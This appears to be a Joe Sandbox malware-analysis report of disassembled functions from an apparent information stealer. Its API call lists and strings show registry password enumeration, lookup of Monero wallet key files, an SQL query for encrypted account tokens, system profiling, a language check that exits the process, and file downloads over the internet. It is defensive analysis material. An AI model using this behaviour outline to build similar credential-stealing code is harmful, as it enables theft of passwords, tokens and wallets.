Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 736c9f4b3a86286ea95e187e2eab0f65e50a9d721cbf9467b0d6e888927fdcec
Instruction ID: 532978fd91a795aa0e49af08aa6a6228b6bec5881429d38504ed3fd8ce4d13e4
Opcode Fuzzy Hash: 736c9f4b3a86286ea95e187e2eab0f65e50a9d721cbf9467b0d6e888927fdcec
Instruction Fuzzy Hash: 1B5123F1A5011D9BCB15FB60DC91BFD737CAB55300F4041A8B70E62492EF706B8ADAA6

Function 000E75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000E72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 000E733A
Part of subcall function 000E72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 000E73B1
Part of subcall function 000E72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 000E740D
Part of subcall function 000E72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 000E7452
Part of subcall function 000E72D0: HeapFree.KERNEL32(00000000), ref: 000E7459

lstrcat.KERNEL32(00000000,001017FC), ref: 000E7606
lstrcat.KERNEL32(00000000,00000000), ref: 000E7648
lstrcat.KERNEL32(00000000, : ), ref: 000E765A
lstrcat.KERNEL32(00000000,00000000), ref: 000E768F
lstrcat.KERNEL32(00000000,00101804), ref: 000E76A0
lstrcat.KERNEL32(00000000,00000000), ref: 000E76D3
lstrcat.KERNEL32(00000000,00101808), ref: 000E76ED
task.LIBCPMTD ref: 000E76FB

Strings

: , xrefs: 000E764E

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 5253628223a075f41e2b4631f21ea5723713e3f373f9f916a3a9fc0c204ca6cc
Instruction ID: b74fbcc7b64555050da604e37ee6a7361ce34aa9f8326b09d29b6d13a38f1e42
Opcode Fuzzy Hash: 5253628223a075f41e2b4631f21ea5723713e3f373f9f916a3a9fc0c204ca6cc
Instruction Fuzzy Hash: 59314975A00549EFCB1AEBA5DC85DFE7778AB44302F10811CF106B7291DB38A947CB52

Function 000F8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0122E0C8,00000000,?,00100E2C,00000000,?,00000000), ref: 000F8130
RtlAllocateHeap.NTDLL(00000000), ref: 000F8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 000F8158
__aulldiv.LIBCMT ref: 000F8172
__aulldiv.LIBCMT ref: 000F8180
wsprintfA.USER32 ref: 000F81AC

Strings

%d MB, xrefs: 000F81A3
@, xrefs: 000F814D

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 0cc5479717066fe24428f806e6ce22fd544dec189c67dd9e7c0ab28c2843760d
Instruction ID: 683ee0de87153efae1faa5ac13736dfe8069202aab472b65f14e5a27f58b023f
Opcode Fuzzy Hash: 0cc5479717066fe24428f806e6ce22fd544dec189c67dd9e7c0ab28c2843760d
Instruction Fuzzy Hash: F821F7B1A4421CABDB10DFD4CC49FAEBBB9FB44B10F104609F705AB680D77869019BA5

Function 000E60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

Part of subcall function 000E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 000E4839
Part of subcall function 000E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 000E4849

InternetOpenA.WININET(00100DF7,00000001,00000000,00000000,00000000), ref: 000E610F
StrCmpCA.SHLWAPI(?,0122E878), ref: 000E6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 000E618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 000E61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 000E61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 000E620A
CloseHandle.KERNEL32(?,?,00000400), ref: 000E6249
InternetCloseHandle.WININET(?), ref: 000E6253
InternetCloseHandle.WININET(00000000), ref: 000E6260

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 94125bcb60a0cd6b90d0b8dd68ed4a097e173002f8f216211df99a07f0629ed4
Instruction ID: 9120f1f9aca16a7bfb88438fc7538241d279256931cfade3c33cbcee3fc1787c
Opcode Fuzzy Hash: 94125bcb60a0cd6b90d0b8dd68ed4a097e173002f8f216211df99a07f0629ed4
Instruction Fuzzy Hash: E9516FB1A00608AFDB20DF91EC45BEE77B8EB44741F10809CA705B71C1DBB56A8ACF95

Function 000E72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 000E733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 000E73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 000E740D
GetProcessHeap.KERNEL32(00000000,?), ref: 000E7452
HeapFree.KERNEL32(00000000), ref: 000E7459
task.LIBCPMTD ref: 000E7555

Strings

Password, xrefs: 000E7401

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 4a418d0584d45e0adeea5c2461cefe72dec789a0358f71fc568b551d139b1a2f
Instruction ID: 9e829b3f89cd0f2b465b1a4ef48aa3ea0ae609087d57a4d3a8ea060ce1751201
Opcode Fuzzy Hash: 4a418d0584d45e0adeea5c2461cefe72dec789a0358f71fc568b551d139b1a2f
Instruction Fuzzy Hash: 1B61ECB59042589FDB24DB51DC55BD9B7B8BF44300F0081E9E68DA6181EBB05FC9CFA1

Function 000EBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

lstrlen.KERNEL32(00000000), ref: 000EBC9F

Part of subcall function 000F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 000F8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 000EBCCD
lstrlen.KERNEL32(00000000), ref: 000EBDA5
lstrlen.KERNEL32(00000000), ref: 000EBDB9

Strings

AccountId, xrefs: 000EBCC4
SELECT service, encrypted_token FROM token_service, xrefs: 000EBBEB
AccountTokens, xrefs: 000EBABA
AccountTokens, xrefs: 000EBB49

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 1606469042ea481c5603f24525ec094990e7eaccf626f5b41469f4328827bcd3
Instruction ID: 28ff0b093841861c6de4008aa0a8fbac6460f0fd62043893a3a66790ec2d705c
Opcode Fuzzy Hash: 1606469042ea481c5603f24525ec094990e7eaccf626f5b41469f4328827bcd3
Instruction Fuzzy Hash: 05B147B1A1010CABDB14FBA0DC56EFE737CAF55300F404168F60A76492EF746A4ADB62

Function 000F6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 000F6774
ExitProcess.KERNEL32 ref: 000F67A5
ExitProcess.KERNEL32 ref: 000F67AF
ExitProcess.KERNEL32 ref: 000F67B9
ExitProcess.KERNEL32 ref: 000F67C3
ExitProcess.KERNEL32 ref: 000F67CD

Strings

*, xrefs: 000F678C

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 76b31fcd30d92944373113d970975d44bdfb94829dbc8f45f5dacba18942c3bc
Instruction ID: c3e838e11fff9850046811b79cc6a6a6b2f154b91392eaf7a2508945fadce6b0
Opcode Fuzzy Hash: 76b31fcd30d92944373113d970975d44bdfb94829dbc8f45f5dacba18942c3bc
Instruction Fuzzy Hash: 61F05E30908209EFD355AFE4E90976CBBB8FB14703F04019CE619C6690D6754B42DB9A

Function 000E4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 000E4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 000E4FD1
InternetOpenA.WININET(00100DDF,00000000,00000000,00000000,00000000), ref: 000E4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 000E5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 000E5041
InternetCloseHandle.WININET(?), ref: 000E50B9
InternetCloseHandle.WININET(?), ref: 000E50C6

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 7d385a1954924eac16d8023db4243a6ef660398ffe6dd973600a1f301258a83c
Instruction ID: fbf33ee7e327a674f03f5298a029a5df83782aeb9dc83d59f109bf203034e271
Opcode Fuzzy Hash: 7d385a1954924eac16d8023db4243a6ef660398ffe6dd973600a1f301258a83c
Instruction Fuzzy Hash: C531F8B4A00218ABDB20CF94DC85BDDB7B9EB48704F1085D9F709A7281D7706AC58F99

Function 000F83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 000F8426
wsprintfA.USER32 ref: 000F8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 000F847B
RegCloseKey.ADVAPI32(00000000), ref: 000F848C
RegCloseKey.ADVAPI32(00000000), ref: 000F8499

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

RegQueryValueExA.ADVAPI32(00000000,0122DF18,00000000,000F003F,?,00000400), ref: 000F84EC
lstrlen.KERNEL32(?), ref: 000F8501
RegQueryValueExA.ADVAPI32(00000000,0122DEE8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00100B34), ref: 000F8599
RegCloseKey.ADVAPI32(00000000), ref: 000F8608
RegCloseKey.ADVAPI32(00000000), ref: 000F861A

Strings

%s\%s, xrefs: 000F844D

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: ec13a43bde151c401a6b21d939d70ea8c3a51d65016321301bae1e9befabebc1
Instruction ID: c047bbdc5f6a5ec8cfba1619833e2167e6490fa7ff02711ce9dcdb93a4c8ffd0
Opcode Fuzzy Hash: ec13a43bde151c401a6b21d939d70ea8c3a51d65016321301bae1e9befabebc1
Instruction Fuzzy Hash: 5E21E9B1A1021CABDB64DB54DC85FE9B7B8FB48700F00C5D8E609A6180DF716A86CFD4

Function 000F7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 000F76A4
RtlAllocateHeap.NTDLL(00000000), ref: 000F76AB
RegOpenKeyExA.ADVAPI32(80000002,0121C010,00000000,00020119,00000000), ref: 000F76DD
RegQueryValueExA.ADVAPI32(00000000,0122E098,00000000,00000000,?,000000FF), ref: 000F76FE
RegCloseKey.ADVAPI32(00000000), ref: 000F7708

Strings

Windows 11, xrefs: 000F76BD

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 114295c3a4b1aeefa595078f8605234e067fa8e4ea751b39c6bb84e6ef58526b
Instruction ID: dd9570eb6c0b3dcc7071c308391e9c99400c458ac7ba48b973ddbffe196fecae
Opcode Fuzzy Hash: 114295c3a4b1aeefa595078f8605234e067fa8e4ea751b39c6bb84e6ef58526b
Instruction Fuzzy Hash: 98018FB4A04308BBE711EBE4DC49FBDB7BCEB08701F104058FB08D7290D6B099019B52

Function 000F7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 000F7734
RtlAllocateHeap.NTDLL(00000000), ref: 000F773B
RegOpenKeyExA.ADVAPI32(80000002,0121C010,00000000,00020119,000F76B9), ref: 000F775B
